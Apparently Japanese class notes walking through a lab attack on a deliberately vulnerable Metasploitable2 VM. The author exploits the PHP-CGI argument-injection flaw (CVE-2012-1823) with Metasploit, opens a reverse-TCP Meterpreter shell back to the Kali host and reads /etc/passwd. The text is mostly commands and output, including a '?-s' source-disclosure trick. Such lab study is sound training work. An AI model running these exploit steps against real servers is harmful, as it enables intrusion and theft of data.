Metasploit コンソールの起動
root@kali:~# service postgresql restart root@kali:~# msfdb init [i] Database already started [i] The database appears to be already configured, skipping initialization root@kali:~# msfconsole _______________________________________________________________________________ | | | 3Kom SuperHack II Logon | |______________________________________________________________________________| | | | User Name: [ security ] | | | | Password: [ ] | | | | [ OK ] | |______________________________________________________________________________| | | | https://metasploit.com | |______________________________________________________________________________| =[ metasploit v5.0.43-dev ] + -- --=[ 1917 exploits - 1074 auxiliary - 330 post ] + -- --=[ 556 payloads - 45 encoders - 10 nops ] + -- --=[ 4 evasion ] msf5 >
HTTP サービス(port: 80)が動作しているか確認する。
msf5 > nmap -sV -p 80 192.168.56.105 [*] exec: nmap -sV -p 80 192.168.56.105 Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-07 00:23 JST Nmap scan report for 192.168.56.105 Host is up (0.0013s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.87 seconds
また、以前nikto」を実行したとき、PHP 5.2.4 が使われていた。
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10 ( ↑ PHP/5.2.4 が使われている)
JVNDB-2012-002235 - JVN iPedia - 脆弱性対策情報データベース
「PHP-CGI の query string の処理に脆弱性」
遠隔の第三者によって、php スクリプトの内容を取得されたり、サービス運用妨害 (DoS) 攻撃を受けたり、ウェブサーバの権限で任意のコードを実行されたりする可能性があります。
実際にソースコードが取得できるか試してみる。
Kali Linux から Metasploitable2 に接続して、phpMyAdmin のページへ移動する。
アドレスバーに「?-s」を付けて読み込む
ソースコードが表示される
https://www.php.net/manual/ja/features.commandline.options.php
Metasploit を使用してターゲットサイトに侵入できるか検証する。
msf5 > search php_cgi Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/http/php_cgi_arg_injection 2012-05-03 excellent Yes PHP CGI Argument Injection
エクスプロイトの詳細を見る。
msf5 > info exploit/multi/http/php_cgi_arg_injection Name: PHP CGI Argument Injection Module: exploit/multi/http/php_cgi_arg_injection Platform: PHP Arch: php Privileged: No License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2012-05-03 Provided by: egypthdm jjarmoc kingcope juan vazquez Available targets: Id Name -- ---- 0 Automatic Check supported: Yes Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- PLESK false yes Exploit Plesk Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target address range or CIDR identifier RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI no The URI to request (must be a CGI-handled PHP script) URIENCODING 0 yes Level of URI URIENCODING and padding (0 for minimum) VHOST no HTTP server virtual host Payload information: Space: 262144 Description: When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. From the advisory: "if there is NO unescaped '=' in the query string, the string is split on '+' (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the "encoded in a system-defined manner" from the RFC) and then passes them to the CGI binary." This module can also be used to exploit the plesk 0day disclosed by kingcope and exploited in the wild on June 2013. References: https://cvedetails.com/cve/CVE-2012-1823/ OSVDB (81633) OSVDB (93979) https://www.exploit-db.com/exploits/25986 http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ http://kb.parallels.com/en/116241
見つかったエクスプロイトを使用し、ターゲットをセットする。
msf5 > use exploit/multi/http/php_cgi_arg_injection msf5 exploit(multi/http/php_cgi_arg_injection) > set RHOST 192.168.56.105 RHOST => 192.168.56.105
ペイロードを表示する。
msf5 exploit(multi/http/php_cgi_arg_injection) > show payloads Compatible Payloads =================== # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 generic/custom normal No Custom Payload 1 generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline 2 generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline 3 multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Mulitple Architectures) 4 multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Mulitple Architectures) 5 php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl) 6 php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6 7 php/bind_php normal No PHP Command Shell, Bind TCP (via PHP) 8 php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6 9 php/download_exec normal No PHP Executable Download and Execute 10 php/exec normal No PHP Execute Command 11 php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager 12 php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6 13 php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support 14 php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support 15 php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager 16 php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager 17 php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline 18 php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl) 19 php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
15 php/meterpreter/reverse_tcp を使用することにする。
msf5 exploit(multi/http/php_cgi_arg_injection) > set PAYLOAD php/meterpreter/reverse_tcp PAYLOAD => php/meterpreter/reverse_tcp
ローカルホストとして Kali Linux を指定する。
root@kali:~# ifconfig eth0 eth0: flags=4163mtu 1500 inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255 ~(後略)~
msf5 exploit(multi/http/php_cgi_arg_injection) > set LHOST 10.0.2.15 LHOST => 10.0.2.15(← ↑ 間違い。 Metasploitable2 とセグメントを合わせる。VirtualBox で Kali に HostOnlyアダプターを追加する) 参考:『3. VirtualBOX に CentOS7を登録する(仮想マシンの初期設定) - 授業のメモ』 msf5 exploit(multi/http/php_cgi_arg_injection) > set LHOST 192.168.56.106 LHOST => 192.168.56.106(← ↑ 正解)
エクスプロイトを実行する。
msf5 exploit(multi/http/php_cgi_arg_injection) > exploit [*] Started reverse TCP handler on 10.0.2.15:4444 [*] Exploit completed, but no session was created. msf5 exploit(multi/http/php_cgi_arg_injection) > ping 192.168.56.105 [*] exec: ping 192.168.56.105 PING 192.168.56.105 (192.168.56.105) 56(84) bytes of data. 64 bytes from 192.168.56.105: icmp_seq=1 ttl=63 time=0.634 ms 64 bytes from 192.168.56.105: icmp_seq=2 ttl=63 time=1.63 ms 64 bytes from 192.168.56.105: icmp_seq=3 ttl=63 time=0.882 ms ^C --- 192.168.56.105 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2015ms rtt min/avg/max/mdev = 0.634/1.049/1.631/0.423 ms Interrupt: use the 'exit' command to quit
エラーが出る。なぜだろう。(Kali と Metasploitable2 のセグメントが違ったから)
msf5 exploit(multi/http/php_cgi_arg_injection) > set LHOST 192.168.56.106 LHOST => 192.168.56.106
修正後(VirtualBox で Kali に HostOnlyアダプターを追加する)
参考:『3. VirtualBOX に CentOS7を登録する(仮想マシンの初期設定) - 授業のメモ』
再度エクスプロイトを実行する。
msf5 exploit(multi/http/php_cgi_arg_injection) > exploit [*] Started reverse TCP handler on 192.168.56.106:4444 [*] Sending stage (38247 bytes) to 192.168.56.105 [*] Meterpreter session 2 opened (192.168.56.106:4444 -> 192.168.56.105:42272) at 2019-09-07 01:49:38 +0900 meterpreter >
meterpreter > sysinfo Computer : metasploitable OS : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 Meterpreter : php/linux
Metasploitable2 に侵入できていることが分かる。
Metasploitable2 のソースコードを表示できる。
meterpreter > cat index.php ~(略)~
パスワードファイルも表示することができる。
meterpreter > cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh
終了する。
meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.56.105 - Meterpreter session 2 closed. Reason: User exit msf5 exploit(multi/http/php_cgi_arg_injection) > back msf5 > quit root@kali:~#